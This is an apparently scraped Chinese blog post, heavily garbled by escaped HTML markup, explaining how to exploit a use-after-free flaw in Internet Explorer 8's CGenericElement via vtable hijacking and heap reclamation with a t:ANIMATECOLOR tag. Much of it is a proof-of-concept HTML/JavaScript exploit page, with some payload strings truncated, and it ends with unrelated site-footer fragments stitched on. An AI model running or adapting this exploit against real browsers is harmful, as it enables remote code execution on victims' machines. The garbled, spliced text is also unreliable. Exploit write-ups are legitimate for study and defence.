一个对象创建后 ,会在内存中占用一定的空间, 如果对象有虚函数调用的话(ie 中的对象基本都有 ) ,其内存块开头的 4 字节 会指向一个 叫做 虚表的东西 , 当 对象调用虚函数时 首先会 取出 虚表指针 (即 开头的 4字节) ,再到 虚表处根据所调用函数对虚表的相对偏移找到函数指针 , 最终 跳到 函数指针处执行\u003C\u002Fp\u003E\u003Cp\u003E其 汇编代码的 大致呈现 为 &假定 ecx 指向对象&:\u003C\u002Fp\u003E\u003Cp\u003E\tmov eax , [ecx]\u003C\u002Fp\u003E\u003Cp\u003E\tcall [eax + 偏移]\u003C\u002Fp\u003E\u003Cp\u003E\u003Cb\u003E
通过这么一大串的对对象虚函数调用过程的描述 ,\u003C\u002Fb\u003E你应该大致猜到了 对于 UAF 漏洞利用的通用的方式。是的,就是在存在漏洞的对象释放后 ,使用另外一种对象 来占用刚刚被释放的内存块, 我们称之为 “占坑”, 之后在用这个对象来修改虚表指针的值 来伪造一个虚表, 最后再让漏洞对象调用他的一个虚函数,我们可以通过先前伪造的虚表 ,将此处调用的函数的指针设为 我们 shellcode 的地址, 那么这样,漏洞对象一调用函数,就会跳到 shellcode 中来执行.\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E
下面回到这个漏洞来, 通过对漏洞的调试分析,可以弄清楚存在 UAF 漏洞的 CgnericElement 对象的大小为0x4c
, 那么如果我们要利用这个漏洞,就需要在漏洞对象被释放后,通过申请相同大小的内存来使用这块 “邪恶” 的内存, 将其开头4字节伪造成我们可控数据的地址处,来进一步伪造虚表.在 IE8中恰好有一个 t:ANIMATECOLO 标签,通过利用该标签我们可以实现上面的目标. t:ANIMATECOLO标签值是一个用分号分隔的字符串,分号的个数决定对象的大小.对象的每个元素都是一个指针,指向分隔出来的字符串.应为漏洞对象的大小为 0x4c所以这里需要包含 0x4c\u002F4 = 13 个分号的字符串.通过分析崩溃时的情景,可以发现对象是在调用偏移虚表 0x70的地方的函数时,造成了崩溃.\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-text\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003Emshtml!CElement::Doc:\n\tb01
eax,dword ptr [ecx]\n\tb5070
edx,dword ptr [eax+70h]\n\t6586c81a ffd2
edx\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003E因此我们在代码中使用 0x70 \u002F4 精确控制 edx
,具体看POC中的注释.\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003EPoc:\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-html\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003E\u003Cspan class=\&cp\&\u003E&!doctype html&\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003EHTML\u003C\u002Fspan\u003E \u003Cspan class=\&na\&\u003EXMLNS:t \u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\&s\&\u003E\&urn:schemas-microsoft-com:time\&\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Ehead\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Emeta\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&err\&\u003E&\u003C\u002Fspan\u003E?IMPORT namespace=\&t\& implementation=\&#default#time2\&&\n\u003Cspan class=\&p\&\u003E&\u002F\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Emeta\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\n\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Escript\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&kd\&\u003Efunction\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003EhelloWorld\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E()\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E{\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&nx\&\u003Eanimvalues\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&s2\&\u003E\&\&\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E \n\n\t\u003Cspan class=\&c1\&\u003E\u002F\u002F mshtml!CElement::Doc:\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&c1\&\u003E\u002F\u002F b01
eax,dword ptr [ecx]\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&c1\&\u003E\u002F\u002F b5070
edx,dword ptr [eax+70h]\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&c1\&\u003E\u002F\u002F 6586c81a ffd2
edx\u003C\u002Fspan\u003E\n\n\t\u003Cspan class=\&k\&\u003Efor\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ei\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\&mi\&\u003E0\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ei\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E&=\u003C\u002Fspan\u003E \u003Cspan class=\&mh\&\u003E0x70\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E\u002F\u003C\u002Fspan\u003E\u003Cspan class=\&mi\&\u003E4\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ei\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E++\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E)\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E{\u003C\u002Fspan\u003E\n\t\t\u003Cspan class=\&c1\&\u003E\u002F\u002F t:ANIMATECOLOR 标签第一个对象用于覆盖虚表指针\u003C\u002Fspan\u003E\n\t\t\u003Cspan class=\&c1\&\u003E\u002F\u002F 由于索引虚函数时,需要偏移0x70,所以这里采用0x70\u002F4去精确控制edx值\u003C\u002Fspan\u003E\n\t\t\u003Cspan class=\&k\&\u003Eif\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ei\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E==\u003C\u002Fspan\u003E \u003Cspan class=\&mh\&\u003E0x70\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E\u002F\u003C\u002Fspan\u003E\u003Cspan class=\&mi\&\u003E4\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E)\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E{\u003C\u002Fspan\u003E\n\t\t\t\u003Cspan class=\&c1\&\u003E\u002F\u002Fanimvalues += unescape(\&%u5ed5%u77c1\&);
\u003C\u002Fspan\u003E\n\t\t\t\u003Cspan class=\&nx\&\u003Eanimvalues\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E+=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eunescape\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&s2\&\u003E\&%u\&\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E
\u003Cspan class=\&c1\&\u003E\u002F\u002F 控制edx=0x3C\u002Fspan\u003E\n\t\t\u003Cspan class=\&p\&\u003E}\u003C\u002Fspan\u003E\n\t\t\u003Cspan class=\&k\&\u003Eelse\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E{\u003C\u002Fspan\u003E\n\t\t\t\u003Cspan class=\&nx\&\u003Eanimvalues\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E+=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eunescape\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&s2\&\u003E\&%u\&\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\t
\u003Cspan class=\&c1\&\u003E\u002F\u002F 0x3C\u002Fspan\u003E\n\t\t\u003Cspan class=\&p\&\u003E}\u003C\u002Fspan\u003E\t\n\t\u003Cspan class=\&p\&\u003E}\u003C\u002Fspan\u003E\n\n\t\u003Cspan class=\&k\&\u003Efor\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ei\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&mi\&\u003E0\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ei\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E&\u003C\u002Fspan\u003E \u003Cspan class=\&mi\&\u003E13\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ei\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E++\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E)\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E{\u003C\u002Fspan\u003E\n\t\t\u003Cspan class=\&c1\&\u003E\u002F\u002F t:ANIMATECOLOR 标签值是一个用分号分隔的字符串,分号的个数决定对象的大小,\u003C\u002Fspan\u003E\n\t\t\u003Cspan class=\&c1\&\u003E\u002F\u002F 对象的每个元素都是一个指针,指向分号分隔出来的字符串\u003C\u002Fspan\u003E\n\t\t\u003Cspan class=\&c1\&\u003E\u002F\u002F 漏洞对象CGnericElement大小0x4c,所以这里需要包含0x4c\u002F4=13个分号的字符串\u003C\u002Fspan\u003E\n\t\t\u003Cspan class=\&nx\&\u003Eanimvalues\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E+=\u003C\u002Fspan\u003E \u003Cspan class=\&s2\&\u003E\&;red\&\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\t\t\n\t\u003Cspan class=\&p\&\u003E}\u003C\u002Fspan\u003E\n\n\t\u003Cspan class=\&nx\&\u003Ef0\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nb\&\u003Edocument\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EcreateElement\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&s1\&\u003E'span'\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&nb\&\u003Edocument\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ebody\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EappendChild\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ef0\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&nx\&\u003Ef1\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nb\&\u003Edocument\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EcreateElement\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&s1\&\u003E'span'\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&nb\&\u003Edocument\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ebody\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EappendChild\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ef1\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&nx\&\u003Ef2\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nb\&\u003Edocument\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EcreateElement\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&s1\&\u003E'span'\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&nb\&\u003Edocument\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ebody\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EappendChild\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ef2\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&nb\&\u003Edocument\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ebody\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EcontentEditable\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\&s2\&\u003E\&true\&\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&nx\&\u003Ef2\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EappendChild\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nb\&\u003Edocument\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EcreateElement\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&s1\&\u003E'datalist'\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E));\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&nx\&\u003Ef1\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EappendChild\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nb\&\u003Edocument\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EcreateElement\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&s1\&\u003E'span'\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E));\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&nx\&\u003Ef1\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EappendChild\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nb\&\u003Edocument\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EcreateElement\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&s1\&\u003E'table'\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E));\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&k\&\u003Etry\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E{\u003C\u002Fspan\u003E\n\t\t\u003Cspan class=\&nx\&\u003Ef0\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EoffsetParent\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\&kc\&\u003Enull\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&p\&\u003E}\u003C\u002Fspan\u003E\u003Cspan class=\&k\&\u003Ecatch\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ee\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E)\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E{}\u003C\u002Fspan\u003E\n\n\t\u003Cspan class=\&nx\&\u003Ef2\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EinnerHTML\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\&s2\&\u003E\&\&\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&nx\&\u003Ef0\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EappendChild\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nb\&\u003Edocument\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EcreateElement\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&s1\&\u003E'hr'\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E));\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&nx\&\u003Ef1\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EinnerHTML\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\&s2\&\u003E\&\&\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\n\t\u003Cspan class=\&nx\&\u003ECollectGarbage\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E();\u003C\u002Fspan\u003E\n\n\t\u003Cspan class=\&k\&\u003Etry\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E{\u003C\u002Fspan\u003E\n\t\t\u003Cspan class=\&c1\&\u003E\u002F\u002F使用 t:ANIMATECOLOR 标签可以自由设置其内容,控制对象大小\u003C\u002Fspan\u003E\n\t\t\u003Cspan class=\&nx\&\u003Ea\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nb\&\u003Edocument\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EgetElementById\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&s1\&\u003E'myanim'\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\t\t\u003Cspan class=\&nx\&\u003Ea\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Evalues\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eanimvalues\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&p\&\u003E}\u003C\u002Fspan\u003E\n\t\u003Cspan class=\&k\&\u003Ecatch\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ee\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E)\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E{}\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E}\u003C\u002Fspan\u003E\n\n\u003Cspan class=\&p\&\u003E&\u002F\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Escript\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u002F\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Ehead\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Ebody\u003C\u002Fspan\u003E \u003Cspan class=\&na\&\u003Eonload\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\&s\&\u003E\&eval(helloWorld());\&\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Et:ANIMATECOLOR\u003C\u002Fspan\u003E \u003Cspan class=\&na\&\u003Eid\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\&s\&\u003E\&myanim\&\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E\u002F&\u003C\u002Fspan\u003E\n\n\u003Cspan class=\&p\&\u003E&\u002F\u003C\u002Fspan\u003E\u003Cspan class

我要回帖

更多关于 excel finf 的文章

 

随机推荐